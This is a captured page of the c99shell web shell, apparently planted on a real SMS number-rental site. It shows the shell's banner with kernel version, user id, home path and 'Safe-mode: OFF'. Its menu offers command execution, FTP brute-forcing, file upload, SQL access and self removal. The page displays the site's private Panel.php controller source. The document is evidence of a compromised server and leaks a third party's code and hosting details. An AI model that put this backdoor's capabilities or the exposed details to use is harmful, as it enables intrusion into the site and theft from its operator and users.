smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/app/Controllers/   drwxr-xr-x
Free 3433.27 GB of 4265.01 GB (80.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Panel.php (5.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Controllers;

use 
App\Libraries\Onaylasms;
use 
App\Libraries\Provider;

class 
Panel extends BaseController
{
    public function 
index()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$data['page'] = createMeta('Numara Al');
        
$data['categories'] = db('categories')->get()->getResultArray();
        return 
view(currentTheme() . '/Panel/home'$data);
    }
    public function 
numbers()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }

        
$numbers db('numbers')
            ->
where([
                
'status' => '0',
                
'user' => user()['id']
            ])
            ->
get()
            ->
getResultArray();
        foreach (
$numbers as $number) {
            
$api = new Provider($number['provider']);
            
$res $api->getMessage($number['number_id']);
            if (
$res['code'] || $res['status'] == '1') {
                
db('numbers')->where('id'$number['id'])->update([
                    
'message' => $res['code'],
                    
'status' => 1
                
]);
            }
            if (
time() - $number['created_at'] > 600) {
                
db('numbers')->where('id'$number['id'])->update([
                    
'status' => -1
                
]);
            }
        }
        
$data['page'] = createMeta('Numaralarım');

        
$data['numbers'] = db('numbers')
            ->
select('numbers.*, services.category, services.name as serviceName, categories.name as categoryName, categories.icon as categoryIcon')
            ->
where('user'user()['id'])
            ->
join('services''numbers.service = services.id')
            ->
join('categories''services.category = categories.id')
            ->
get()
            ->
getResultArray();


        return 
view(currentTheme() . '/Panel/numbers'$data);
    }
    public function 
balance()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$data['page'] = createMeta('Bakiye İşlemleri');
        
$data['banks'] = db('banks')->get()->getResultArray();
        
$data['payments'] = db('payments')->where('user'user()['id'])->get()->getResultArray();
        return 
view(currentTheme() . '/Panel/balance'$data);
    }
    public function 
profile()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$data['page'] = createMeta('Profilim');
        
$data['user'] = user();
        return 
view(currentTheme() . '/Panel/profile'$data);
    }
    public function 
profile_post()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$password $this->request->getPost('passwordInput');
        if (!
$password || $password == '') {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Tüm alanları doldurunuz.'
            
]);
        }
        if (
strlen($password) < 6) {
            return 
$this->response->setJSON([
                
'type' => 'error',
                
'message' => 'Parola minimum 6 karakter olmalıdır.'
            
]);
        }
        
model('User')->update(user()['id'], ['password' => $password]);
        return 
$this->response->setJSON([
            
'type' => 'success',
            
'message' => 'Şifreniz güncellendi.',
            
'redirect' => base_url('panel/profile')
        ]);
    }
    public function 
tickets()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$data['page'] = createMeta('Destek Taleplerim');
        
$data['tickets'] = db('tickets')
            ->
where([
                
'user' => user()['id']
            ])
            ->
get()
            ->
getResultArray();


        return 
view(currentTheme() . '/Panel/tickets'$data);
    }
    public function 
createTicket()
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$ticketId db('tickets')->insert([
            
'user' => user()['id'],
            
'subject' => $this->request->getPost('ticketLabel'),
        ]);
        
$ticketId db('tickets'true);
        
db('ticket_messages')->insert([
            
'message' => trim(strip_tags($this->request->getPost('ticketMessage'))),
            
'ticket' => $ticketId,
            
'user' => user()['id']
        ]);
        return 
redirect()->to('/panel/tickets/' $ticketId);
    }
    public function 
viewTicket($id)
    {
        if (!
user()) {
            return 
redirect()->to('/login');
        }
        
$data['page'] = createMeta('Destek Talebi');
        
$data['ticket'] = db('tickets')
            ->
where([
                
'id' => $id,
                
'user' => user()['id']
            ])
            ->
get()
            ->
getResultArray();

        if (!isset(
$data['ticket'][0])) {
            return 
redirect()->to('/panel/tickets');
        }
        
$data['ticket'] = $data['ticket'][0];

        
$action $this->request->getGet('action');

        if (isset(
$action) && $action == 'new_message') {
            
db('ticket_messages')->insert([
                
'message' => trim(strip_tags($this->request->getGet('message'))),
                
'ticket' => $id,
                
'user' => user()['id']
            ]);
            return 
redirect()->to('/panel/tickets/' $id);
        }

        
$data['messages'] = db('ticket_messages')
            ->
where([
                
'ticket' => $id
            
])
            ->
get()
            ->
getResultArray();

        return 
view(currentTheme() . '/Panel/ticket'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0075 ]--